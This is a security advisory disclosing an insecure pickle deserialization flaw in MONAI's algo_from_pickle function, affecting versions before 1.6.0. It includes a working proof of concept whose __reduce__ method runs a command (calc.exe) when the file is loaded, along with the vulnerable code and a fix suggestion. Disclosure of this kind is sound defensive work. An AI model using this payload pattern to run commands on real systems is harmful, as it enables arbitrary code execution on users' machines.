GHSA-89gg-p5r5-q6r4HighCVSS 7.6Disclosed before NVD

MONAI: Unsafe functions lead to pickle deserialization rce

Published
April 7, 2026
Last Modified
July 31, 2026

📋 Description

Summary

The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

Details

poc

import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = {
    "algo_bytes": malicious_algo_bytes,  
     
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))

Generate the malicious file "attack_algo.pkl" through POC.

from monai.auto3dseg.utils import algo_from_pickle


attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)

Ultimately, it will trigger pickle.load through a file to identify the command execution.

Causes of the vulnerability:

def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

    with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)

Impact

Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

🎯 Affected products1

  • pip/monai:< 1.6.0

🔗 References (5)